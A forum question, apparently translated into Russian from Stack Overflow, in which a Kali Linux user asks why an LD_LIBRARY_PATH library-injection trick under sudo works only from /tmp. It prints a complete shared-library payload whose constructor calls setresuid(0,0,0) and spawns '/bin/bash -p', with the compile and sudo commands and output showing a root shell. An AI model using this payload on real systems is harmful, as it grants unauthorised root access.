Внедрение библиотеки с LD_LIBRARY_PATH, почему, чтобы выполнить программу, я должен быть в каталоге библиотеки?Linux

Ответить
Anonymous
 Внедрение библиотеки с LD_LIBRARY_PATH, почему, чтобы выполнить программу, я должен быть в каталоге библиотеки?

Сообщение Anonymous »

Я пытаюсь выполнить двоичный файл с повышенными привилегиями и сделать его загруженной библиотекой из конкретного каталога, установив переменную среды LD_Library_path. Прыгайте < /p>
#include
#include

int main() {
// Prova ad aprire la libreria
void *handle = dlopen("./mylib.so", RTLD_LAZY);

if (!handle) {
printf("[-] libreria non trovata\n");
return 1;
}
else {
printf("[+] libreria caricata\n");
}

dlclose(handle);
return 0;
}
< /code>
и библиотека: < /p>
#define _GNU_SOURCE
#include
#include
#include

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
< /code>
Скомпилировано с: < /p>
gcc -o /tmp/mylib.so -shared -fPIC /tmp/lib.c
< /code>
То, что я пытаюсь сделать, - это запустить исполняемый jump, внедряющий мою библиотеку: < /p>
sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
< /code>
Но он запускает его правильно, только если я нахожусь в каталоге /TMP: < /p>
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
[-] libreria non trovata

┌──(kali㉿kali)-[~/Desktop]
└─$ cd /tmp

┌──(kali㉿kali)-[/tmp]
└─$ sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
┌──(root㉿kali)-[/tmp]
└─# id
uid=0(root) gid=0(root) groups=0(root)

┌──(root㉿kali)-[/tmp]
└─# exit
exit
[+] libreria caricata
< /code>
Вопрос < /strong>

Почему? < /p>

Подробнее здесь: https://stackoverflow.com/questions/796 ... -have-to-b
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «Linux»